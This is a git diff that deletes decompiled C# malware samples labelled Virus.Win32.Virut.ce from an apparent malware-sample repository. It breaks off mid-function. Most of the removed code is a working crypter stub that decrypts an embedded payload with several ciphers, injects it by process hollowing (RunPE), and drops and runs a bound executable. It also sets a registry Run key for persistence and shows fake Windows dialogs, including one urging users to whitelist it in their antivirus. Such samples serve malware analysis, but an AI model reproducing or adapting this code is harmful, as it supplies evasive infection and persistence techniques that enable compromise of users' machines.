{11B77748-979C-4C0E-A146-0C7D473A3948}.Release|Any CPU.ActiveCfg = Release|Any CPU - {11B77748-979C-4C0E-A146-0C7D473A3948}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/fjYIWqNzRsrEuPM.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/fjYIWqNzRsrEuPM.cs deleted file mode 100644 index 1f90d610..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/fjYIWqNzRsrEuPM.cs +++ /dev/null @@ -1,355 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: fjYIWqNzRsrEuPM -// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null -// MVID: 3AB55594-508F-4214-AA1C-DD579280B133 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.CodeDom.Compiler; -using System.Diagnostics; -using System.IO; -using System.Net.NetworkInformation; -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class fjYIWqNzRsrEuPM -{ - public static string yqtchzIOqOKBrSD; - public static string lJwYYoItFcgpqET; - - [STAThread] - public static void Main() - { - char ch = '%'; - ResourceManager resourceManager = new ResourceManager("TempRes", Assembly.GetExecutingAssembly()); - Encoding encoding = Encoding.Default; - string str1 = resourceManager.GetString("crypted"); - string str2 = resourceManager.GetString("settings"); - fjYIWqNzRsrEuPM.yqtchzIOqOKBrSD = resourceManager.GetString("bind"); - fjYIWqNzRsrEuPM.lJwYYoItFcgpqET = resourceManager.GetString("runpe"); - string[] strArray = str2.Split(ch); - string str3 = strArray[2]; - string Left1 = strArray[1]; - string Left2 = strArray[4]; - string Left3 = strArray[5]; - string Left4 = strArray[3]; - string Left5 = strArray[11]; - string Left6 = strArray[6]; - if (Operators.CompareString(strArray[10], "1", false) == 0) - fjYIWqNzRsrEuPM.aXQMuDulpbuaEay(); - if (Operators.CompareString(Left4, "1", false) == 0) - Daanteys.Enable(); - if (Operators.CompareString(Left3, "1", false) == 0) - new Thread(new ThreadStart(fjYIWqNzRsrEuPM.mMBTPviKNdprvRd)) - { - IsBackground = true - }.Start(); - if (Environment.OSVersion.Platform.ToString().Contains("32") || Environment.OSVersion.Platform.ToString().Contains("86")) - { - if (Operators.CompareString(Left1, "RC4", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.YkqdEiNjkYEcGHU(str1, str3))).Replace("%%42%%", Application.ExecutablePath)); - else if (Operators.CompareString(Left1, "AES", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.PhCrUkyjFEeSSOb(str1, str3))).Replace("%%42%%", Application.ExecutablePath)); - else if (Operators.CompareString(Left1, "DES", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.DfrVzRBLTZVYiTu(str1, str3))).Replace("%%42%%", Application.ExecutablePath)); - else if (Operators.CompareString(Left1, "RC2", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.VhCqeEsmyAGjexn(str1, str3))).Replace("%%42%%", Application.ExecutablePath)); - else if (Operators.CompareString(Left1, "STR", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.ghWPuuObTVRPWrY(str1, str3))).Replace("%%42%%", Application.ExecutablePath)); - else if (Operators.CompareString(Left1, "XOR", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.ZHfmltHRHxetfJW(str1, str3))).Replace("%%42%%", Application.ExecutablePath)); - else if (Operators.CompareString(Left1, "TDES", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.uwffzkjdFvQZybM(str1, str3))).Replace("%%42%%", Application.ExecutablePath)); - } - else if (Operators.CompareString(Left1, "RC4", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.YkqdEiNjkYEcGHU(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")); - else if (Operators.CompareString(Left1, "AES", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.PhCrUkyjFEeSSOb(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")); - else if (Operators.CompareString(Left1, "DES", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.DfrVzRBLTZVYiTu(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")); - else if (Operators.CompareString(Left1, "RC2", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.VhCqeEsmyAGjexn(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")); - else if (Operators.CompareString(Left1, "STR", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.ghWPuuObTVRPWrY(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")); - else if (Operators.CompareString(Left1, "XOR", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.ZHfmltHRHxetfJW(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")); - else if (Operators.CompareString(Left1, "TDES", false) == 0) - fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.uwffzkjdFvQZybM(str1, str3))).Replace("%%42%%", Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") + "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")); - if (Operators.CompareString(Left2, "1", false) == 0) - fjYIWqNzRsrEuPM.qfiZEWBAVDVcXYV(); - if (Operators.CompareString(Left6, "1", false) == 0) - { - string Left7 = strArray[7]; - if (Operators.CompareString(Left7, "", false) == 0) - { - int num1 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Critical, (object) strArray[9]); - } - else if (Operators.CompareString(Left7, "Exclamation", false) == 0) - { - int num2 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Exclamation, (object) strArray[9]); - } - else if (Operators.CompareString(Left7, "Critical", false) == 0) - { - int num3 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Critical, (object) strArray[9]); - } - else if (Operators.CompareString(Left7, "Question", false) == 0) - { - int num4 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Question, (object) strArray[9]); - } - else if (Operators.CompareString(Left7, "Information", false) == 0) - { - int num5 = (int) Interaction.MsgBox((object) strArray[8], MsgBoxStyle.Information, (object) strArray[9]); - } - } - if (Operators.CompareString(Left5, "1", false) != 0) - return; - fjYIWqNzRsrEuPM.coFIciVHjFSurZy(); - } - - public static void mMBTPviKNdprvRd() - { - File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/temp.exe", Convert.FromBase64String(fjYIWqNzRsrEuPM.yqtchzIOqOKBrSD)); - Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/temp.exe"); - } - - public static void roKWNVYxmxtHPPs(string source) - { - CompilerResults compilerResults = new VBCodeProvider().CompileAssemblyFromSource(new CompilerParameters() - { - GenerateExecutable = false, - GenerateInMemory = true - }, source); - if (compilerResults.Errors.Count > 0) - return; - compilerResults.CompiledAssembly.GetType("Inject.RunPE").GetMethod("InjectPE").Invoke((object) null, (object[]) null); - } - - public static string PhCrUkyjFEeSSOb(string input, string pass) - { - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider(); - string str; - try - { - byte[] destinationArray = new byte[32]; - byte[] hash = cryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(pass)); - Array.Copy((Array) hash, 0, (Array) destinationArray, 0, 16); - Array.Copy((Array) hash, 0, (Array) destinationArray, 15, 16); - rijndaelManaged.Key = destinationArray; - rijndaelManaged.Mode = CipherMode.ECB; - ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(); - byte[] inputBuffer = Convert.FromBase64String(input); - str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - public static string YkqdEiNjkYEcGHU(string message, string password) - { - message = Encoding.Default.GetString(Convert.FromBase64String(message)); - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - int location3 = 1; - while (location3 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - public static string ZHfmltHRHxetfJW(string Input, string pass) - { - StringBuilder stringBuilder = new StringBuilder(); - int num = checked (Input.Length - 1); - int startIndex = 0; - while (startIndex <= num) - { - int index; - string str = Conversions.ToString(Strings.Chr(checked ((int) (Conversions.ToLong("&H" + Input.Substring(startIndex, 2)) ^ (long) Strings.Asc(pass[index]))))); - stringBuilder.Append(str); - if (index == checked (pass.Length - 1)) - index = 0; - else - checked { ++index; } - checked { startIndex += 2; } - } - return stringBuilder.ToString(); - } - - public static string uwffzkjdFvQZybM(string input, string pass) - { - TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider(); - MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); - string str; - try - { - byte[] destinationArray = new byte[24]; - byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(pass)); - Array.Copy((Array) hash, 0, (Array) destinationArray, 0, 16); - Array.Copy((Array) hash, 0, (Array) destinationArray, 15, 8); - cryptoServiceProvider1.Key = destinationArray; - cryptoServiceProvider1.Mode = CipherMode.ECB; - ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); - byte[] inputBuffer = Convert.FromBase64String(input); - str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - public static string ghWPuuObTVRPWrY(string Data, string key) => Encoding.Default.GetString(fjYIWqNzRsrEuPM.ghWPuuObTVRPWrY(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(key))); - - public static byte[] ghWPuuObTVRPWrY(byte[] Data, byte[] key) - { - int index = checked (Data.Length - 1); - while (index >= 0) - { - Data[index] = checked ((byte) unchecked (checked (((int) Data[index] ^ (int) key[unchecked (index % key.Length)]) - (int) Data[unchecked (checked (index + 1) % Data.Length)] + 256) % 256)); - checked { index += -1; } - } - return Data; - } - - public static string VhCqeEsmyAGjexn(string input, string pass) - { - RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider(); - MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); - string str; - try - { - byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(pass)); - cryptoServiceProvider1.Key = hash; - cryptoServiceProvider1.Mode = CipherMode.ECB; - ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); - byte[] inputBuffer = Convert.FromBase64String(input); - str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - public static string DfrVzRBLTZVYiTu(string input, string pass) - { - DESCryptoServiceProvider cryptoServiceProvider1 = new DESCryptoServiceProvider(); - MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); - string str; - try - { - byte[] destinationArray = new byte[8]; - Array.Copy((Array) cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(pass)), 0, (Array) destinationArray, 0, 8); - cryptoServiceProvider1.Key = destinationArray; - cryptoServiceProvider1.Mode = CipherMode.ECB; - ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); - byte[] inputBuffer = Convert.FromBase64String(input); - str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - public static void qfiZEWBAVDVcXYV() - { - try - { - File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\jseEiuRiWjuDNIfRFtRiZFMfRFr.exe"); - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (registryKey.GetValue(Application.ProductName) == null) - registryKey.SetValue(Application.ProductName, (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\jseEiuRiWjuDNIfRFtRiZFMfRFr.exe")); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void coFIciVHjFSurZy() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = fjYIWqNzRsrEuPM.GetModuleFileName(0, ref executablePath2, 256); - fjYIWqNzRsrEuPM.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tmpG" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - fjYIWqNzRsrEuPM.ExitProcess(0U); - } - - public static void aXQMuDulpbuaEay() - { - if (NetworkInterface.GetIsNetworkAvailable()) - return; - int num = (int) Interaction.MsgBox((object) "You need an Internet Connection to run this programm !", Title: ((object) "Microsoft Windows")); - Environment.Exit(0); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/AssemblyInfo.cs deleted file mode 100644 index f536433e..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("L3G!T™ Public Crypter 1.0")] -[assembly: AssemblyCompany("L3G!T™")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTrademark("")] -[assembly: Guid("b1157559-8945-4c7f-bf86-55fab30293a0")] -[assembly: AssemblyCopyright("Copyright © 2011")] -[assembly: AssemblyTitle("L3G!T™ Public Crypter 1.0")] -[assembly: NeutralResourcesLanguage("en")] -[assembly: AssemblyFileVersion("1.0.0.1")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.1")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.csproj deleted file mode 100644 index c6e629dd..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.csproj +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Debug - AnyCPU - {C8E5BA91-AA6F-4E2A-AC23-606E6098B074} - WinExe - L3G!T™ Public Crypter 1.0 - 1.0.0.1 - ऄ࠹ - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.sln deleted file mode 100644 index d7c97294..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "L3G!T™ Public Crypter 1.0", "Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.csproj", "{C8E5BA91-AA6F-4E2A-AC23-606E6098B074}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C8E5BA91-AA6F-4E2A-AC23-606E6098B074}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C8E5BA91-AA6F-4E2A-AC23-606E6098B074}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C8E5BA91-AA6F-4E2A-AC23-606E6098B074}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C8E5BA91-AA6F-4E2A-AC23-606E6098B074}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/WindowsApplication1/Resources.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/WindowsApplication1/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/WindowsApplication1/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CModule_003E.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CModule_003E.cs deleted file mode 100644 index 21525948..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CModule_003E.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000D\u002D0(false, true); - ऄ\u0839.ऄࡀ(); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CPrivateImplementationDetails_003E{FCDEF2F2-8E.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CPrivateImplementationDetails_003E{FCDEF2F2-8E.cs deleted file mode 100644 index fe1a6f5b..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CPrivateImplementationDetails_003E{FCDEF2F2-8E.cs +++ /dev/null @@ -1,132 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: {FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE} -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using System; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Windows.Forms; - -[StructLayout(LayoutKind.Auto, CharSet = CharSet.Auto)] -internal sealed class \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D -{ - private static byte \u0024\u0024method0x6000014\u002D0; - private static byte \u0024\u0024method0x6000015\u002D0; - - [DllImport("kernel32.dll", EntryPoint = "GetModuleHandle")] - [MethodImpl(MethodImplOptions.NoInlining)] - private static extern IntPtr \u0024\u0024method0x600000B\u002D0(string _param0); - - [DllImport("user32", EntryPoint = "CallWindowProcW")] - [MethodImpl(MethodImplOptions.NoInlining)] - private static extern IntPtr \u0024\u0024method0x600000C\u002D0( - [In] ref byte _param0, - IntPtr _param1, - int _param2, - [In, Out] ref byte _param3, - IntPtr _param4); - - internal static void \u0024\u0024method0x600000D\u002D0(bool _param0, bool _param1) - { - if (_param1) - { - try - { - \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000011\u002D0(_param0); - } - catch (SecurityException ex) - { - \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000010\u002D0("E_FullTrust", (Exception) ex); - throw; - } - } - \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000E\u002D0(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static void \u0024\u0024method0x600000E\u002D0(); - - internal static bool \u0024\u0024method0x600000F\u002D0(string _param0, Exception _param1) => false; - - internal static void \u0024\u0024method0x6000010\u002D0(string _param0, Exception _param1) - { - if (\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000F\u002D0(_param0, _param1)) - { - if (Environment.UserInteractive) - Environment.Exit(1); - throw new InvalidOperationException(string.Format("Custom error reporter did not close application for code '{0}'.", (object) _param0)); - } - string str = (string) null; - string caption = (string) null; - switch (_param0) - { - case "E_FullTrust": - str = string.Format("The assembly '{0}' requires Full Trust to run properly. Please contact the publisher for instructions on how to enable Full Trust.", (object) Assembly.GetExecutingAssembly()); - caption = "Full Trust Required"; - break; - case "E_x86Required": - str = "This software was designed for use with 32-bit versions of Windows. Please contact the publisher for a compatible version."; - caption = "32-bit Host Required"; - break; - case "E_TamperDetected": - str = "This software is encrypted to provide copy protection. Certain virus scanning programs may prevent the software from starting due to their heuristic analysis. \r\n\r\nPlease add this software to the white-list of the anti-virus program and restart. Contact the software publisher for additional information and compatibility"; - caption = "Possible Tampering Detected"; - break; - } - if (Environment.UserInteractive) - { - int num = (int) MessageBox.Show((IWin32Window) null, str, caption, MessageBoxButtons.OK, MessageBoxIcon.Hand); - Environment.Exit(1); - } - throw new InvalidOperationException(str, _param1); - } - - [SecuritySafeCritical] - internal static void \u0024\u0024method0x6000011\u002D0(bool _param0) - { - IntPtr num = \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000B\u002D0("kernel32.dll"); - lock (typeof (object)) - { - if (IntPtr.Size == 8) - 